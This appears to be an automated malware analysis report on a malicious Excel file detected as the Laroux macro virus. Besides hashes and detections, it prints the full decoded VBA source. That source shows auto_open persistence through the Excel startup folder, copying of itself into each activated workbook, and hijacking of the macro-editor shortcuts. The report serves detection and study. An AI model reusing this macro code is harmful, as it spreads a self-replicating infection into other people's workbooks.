Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4465d9cbdd173e1…

MALICIOUS

Office (OLE)

38.0 KB Created: 2013-11-26 02:57:53 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 6876f83a77f5c33c8674ffd795ed0ca0 SHA-1: 277bd72e9155626b0dfba1c4e5ce049c536317e6 SHA-256: b4465d9cbdd173e130472e5a4f64b396900bf7d5427b7a204478f23be6f0a185
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing VBA macros. The `auto_open` macro attempts to copy the current workbook to the Excel startup directory as 'StartUp.xls', thereby establishing persistence. This behavior is indicative of a macro-based malware dropper aiming to maintain a foothold on the system.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1261 bytes
SHA-256: 0b768312816d34c72addae36ad07c7c877d50ae70941231345a93924e796543b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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